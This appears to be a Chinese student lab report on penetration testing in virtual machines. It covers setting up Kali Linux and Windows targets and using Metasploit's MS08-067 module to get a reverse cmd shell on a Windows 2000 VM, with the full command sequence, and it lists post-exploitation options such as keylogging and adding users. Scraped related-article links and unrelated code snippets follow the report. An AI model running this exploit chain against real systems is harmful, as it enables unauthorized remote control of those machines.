一、实验内容

1.使用kali进行靶机的漏洞扫描,利用metasploit选择其中的一个漏洞进行攻击,并获取权限。

2.分析攻击的原理以及获取了什么样的权限。

二、实验要求

1.熟悉kali原理和使用方法。

2.认真操作,详细记录实验过程和实验结果。

三、实验工具

笔记本电脑一台,安装parallels desktop虚拟机,安装kali和靶机系统windows10。另外安装了vmware虚拟机,安装kali和靶机系统windows2000。

四、实验步骤

(一)pd虚拟机下搭建渗透测试环境

1.在pd虚拟机下安装kali攻击机系统以及windows10靶机系统。

Kali是一个linux系统,Kali Linux预装了许多渗透测试软件,包括nmap (端口扫描器)、Wireshark (数据包分析器)、John the Ripper (密码破解器),以及Aircrack-ng (一应用于对无线局域网进行渗透测试的软件).用户可通过硬盘、live CD或live USB运行Kali Linux。Metasploit的Metasploit Framework支持Kali Linux,Metasploit一套针对远程主机进行开发和执行Exploit代码的工具。

2.在parallels desktop中设置两台虚拟机网络为共享网络模式(若是vmware虚拟机则是nat模式),自动分配IP地址,之后两台虚拟机就可以直接ping通。

(1)靶机ip地址获取:在cmd中输入ipconfig,获取ip地址为10.211.55.3。

(2)攻击机ip地址获取:在shell中输入ifconfig,获取ip地址为10.211.55.4。

(3)可见,两台虚拟机处于同一网段下,可以互相ping通。


一般来说在unix或linux系统中会一直ping下去,这时按快捷键Ctrl+Z或Ctrl+C均可停止ping。

(4)补充说明“vmware下虚拟机的三种网络模式”

a.桥接。桥接网络是指本地物理网卡和虚拟网卡通过VMnet0虚拟交换机进行桥接,物理网卡和虚拟网卡在拓扑图上处于同等地位,那么物理网卡和虚拟网卡就相当于处于同一个网段,虚拟交换机就相当于一台现实网络中的交换机,所以两个网卡的IP地址也要设置为同一网段。

b.NAT。NAT模式中,就是让虚拟机借助NAT(网络地址转换)功能,通过宿主机器所在的网络来访问公网。NAT模式中,虚拟机的网卡和物理网卡的网络,不在同一个网络,虚拟机的网卡是在vmware提供的一个虚拟网络。

NAT和桥接的比较: NAT模式和桥接模式虚拟机都可以上外网;由于NAT的网络在vmware提供的一个虚拟网络里,所以局域网其他主机是无法访问虚拟机的,而宿主机可以访问虚拟机,虚拟机可以访问局域网的所有主机,因为真实的局域网相对于NAT的虚拟网络,就是NAT的虚拟网络的外网,不懂的人可以查查NAT的相关知识;桥接模式下,多个虚拟机之间可以互相访问;NAT模式下,多个虚拟机之间也可以相互访问。

c.Host-Only。在Host-Only模式下,虚拟网络是一个全封闭的网络,它唯一能够访问的就是主机。其实Host-Only网络和NAT网络很相似,不同的地方就是Host-Only网络没有NAT服务,所以虚拟网络不能连接到Internet。主机和虚拟机之间的通信是通过VMware Network Adepter VMnet1虚拟网卡来实现的。

(二)vmware下搭建渗透测试环境

在按步骤进行攻击操作后(详细步骤见第三部分),发现作为靶机的win10系统无漏洞可攻击,于是改用老师所给的靶机系统进行试验,在vmware虚拟机下操作。

1.vmware下安装kali

这里注意其中一步操作“将GRUB安装至硬盘-将GRUB启动引导器安装到主引导记录吗?-是”后,“安装启动引导器的设备”不能空着,可填写dev-sda,否则可能出现安装linux后黑屏只出现光标的现象。

2.设置网络模式

设置虚拟机下的kali和windows靶机系统为nat模式。其中设置靶机ip地址为192.168.87.131,攻击机ip地址为192.168.87.129,且互相都可以ping通。



(三)MS08_067远程漏洞攻击实践

1.在kali终端中开启msfconsole。

2.输入命令search ms08_067,会显示出找到的渗透模块,如下图所示:

3.输入命令use exploit/windows/smb/ms08_067_netapi,进入该漏洞模块的使用。

4.输入命令show payloads会显示出有效的攻击载荷,比如shell_reverse_tcp。

5.命令show targets会显示出可以被攻击的靶机的操作系统型号,如下图所示:

6.使用命令set payload generic/shell_reverse_tcp设置攻击有效载荷。

7.输入命令show options显示我们需要在攻击前需要设置的数据。

8.输入命令set LHOST "kali Ip",即set LHOST 192.168.87.129;set RHOST "Win Ip",即set RHOST 192.168.87.131。

使用命令show options再次查看payload状态。

9.输入命令exploit开始攻击,如下图所示是正常攻击成功结果。

10.在kali上执行ipconfig/all得到如下图所示:

在win 2000上执行同样的命令(所得与上图相同)如下图所示:

11.输入“netstat -a”命令,可以查看靶机开启了哪些端口。

12.输入“netstat -n”命令, 查看靶机端口的网络连接情况。

五、思考

1.原理分析

MS08_067漏洞是著名的远程溢出漏洞,影响除Windows Server 2008 Core以外的所有Windows系统,包括:Windows 2000/XP/Server 2003/Vista/Server 2008的各个版本,甚至还包括测试阶段的Windows 7 Pro-Beta。本次实验就是metasploit利用ms08_067漏洞对win2000虚拟机进行渗透测试。

MS08_067是一个在windows445号端口上的漏洞,需要事先查看该端口是否开放,这里使用“nmap -PS 靶机ip”语句发现445号端口开放。因此可以使用MS08_067漏洞进行exploit。

2.实验拓展

本次实验获得了靶机的cmdshell,除了实验中展示的几种操作,还可以进行新建用户、截屏、记录键盘输入、获取ruby交互界面、进程迁移、安装成服务等等许多操作。今后还可以对浏览器、客户端等方面的攻击进行拓展实践。

实验三 kali下metasploit的漏洞攻击实践的更多相关文章

  1. 2017-2018-2 20155228 《网络对抗技术》 实验三:MAL_免杀原理与实践

    2017-2018-2 20155228 <网络对抗技术> 实验三:MAL_免杀原理与实践 实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasi ...

  2. 20172310 2017-2018-2 《程序设计与数据结构》实验三报告(敏捷开发与XP实践)

    20172310 2017-2018-2 <程序设计与数据结构>实验三报告(敏捷开发与XP实践) 课程:<程序设计与数据结构> 班级: 1723 姓名: 仇夏 学号:20172 ...

  3. 基于Kali的一次DDos攻击实践

    镜像下载.域名解析.时间同步请点击 阿里云开源镜像站 一.什么是DDos攻击 DDOS(Distributed Denial of Service),即分布式拒绝服务,是一种针对于网络服务的攻击行为. ...

  4. 利用foo函数的Bof漏洞攻击:构造攻击字符串

    利用foo函数的Bof漏洞攻击:构造攻击字符串 一.基础知识储备 objdump反汇编指令.gdb函数调试运行.Perl语言.|管道符 二.实验步骤 1. 通过反汇编了解程序功能及代码 ①反汇编查看文 ...

  5. MS08_067漏洞渗透攻击实践

    MS08_067漏洞渗透攻击实践 实验前准备 1.两台虚拟机,其中一台为kali,一台为windows xp sp3(英文版). 2.在VMware中设置两台虚拟机网络为NAT模式,自动分配IP地址, ...

  6. 20145314郑凯杰 《Java程序设计》实验三 敏捷开发与XP实践实验报告

    20145314郑凯杰 <Java程序设计>实验二 实验报告 实验要求 完成实验.撰写实验报告,实验报告以博客方式发表在博客园,注意实验报告重点是运行结果,遇到的问题(工具查找,安装,使用 ...

  7. MSF MS11-050/10-087/Adobe攻击实践及内存保护技术

    MSF MS11-050/10-087/Adobe攻击实践及内存保护技术 内存攻击指的是攻击者利用软件安全漏洞,构造恶意输入导致软件在处理输入数据时出现非预期错误,将输入数据写入内存中的某些特定敏感位 ...

  8. MSF MS11-050攻击实践及内存保护技术

    内存攻击指的是攻击者利用软件安全漏洞,构造恶意输入导致软件在处理输入数据时出现非预期错误,将输入数据写入内存中的某些特定敏感位置,从而劫持软件控制流,转而执行外部输入的指令代码,造成目标系统被获取远程 ...

  9. Metasploit的使用下篇——漏洞攻击

    一.上文总结 上篇当中主要通过开启的端口对目标主机进行攻击,最后成功做到了连接不过却不能查看到telnet的登陆用户名和密码,目前来看有两个原因:第一.我对于靶机telnet的设置有问题,没有设置相应 ...

随机推荐

  1. 使用js将后台返回的数据转换成树形结构

    将类似如下数据转换成树形的数据: [ { id: 1, name: '1', }, { id: 2, name: '1-1', parentId: 1 }, { id: 3, name: '1-1-1 ...

  2. 利用python进行数据分析3_Pandas的数据结构

    Series #通过list构建Series ser_obj=pd.Series(range(10,20)) print(type(ser_obj))#<class 'pandas.core.s ...

  3. 一、numpy入门

    Array import numpy as np # create from python list list_1 = [1, 2, 3, 4] array_1 = np.array(list_1)# ...

  4. 6.python

    最早的'密码本' ascii 涵盖了英文字母大小写,特殊字符,数字.01010101ascii 只能表示256种可能,太少,创办了万国码 unicode 16表示一个字符不行,32位表示一个字符. A ...

  5. ubuntu frp 自编译。本文不能按顺序来 请自己理解

    go run:go run 编译并直接运行程序,它会产生一个临时文件(但不会生成 .exe 文件),直接在命令行输出程序执行结果,方便用户调试. go build:go build 用于测试编译包,主 ...

  6. Bootstrap历练实例:基本按钮组

    <!DOCTYPE html><html><head><meta http-equiv="Content-Type" content=&q ...

  7. ★房贷计算器 APP

    一.目的 1. 这是一个蛮有用的小工具 2. 之前看了很多demo,第一次来完全的自己实现一个APP 3. 完成之后提交 App Store 4. 作为Good Coder的提交审核材料 二.排期 周 ...

  8. 个人总结NDIS中NDIS_PACKET,NDIS_BUFFER的关系

    // // NDIS_PACKET结构的定义 // typedef struct _NDIS_PACKET { NDIS_PACKET_PRIVATE Private; //这个其实是一个链表结构,P ...

  9. Safari不能保存session的处理方法

    在vue单页应用项目中,safari浏览器验证码登陆提示'验证码过期'或者验证码校验不通过的问题 原因:验证码存储在了session里,接着验证时又发起了一次会话,因为Safari不保存cookie, ...

  10. php redis通用类

    <?php /** * redis操作类 * 说明,任何为false的串,存在redis中都是空串. * 只有在key不存在时,才会返回false. * 这点可用于防止缓存穿透 * */ cla ...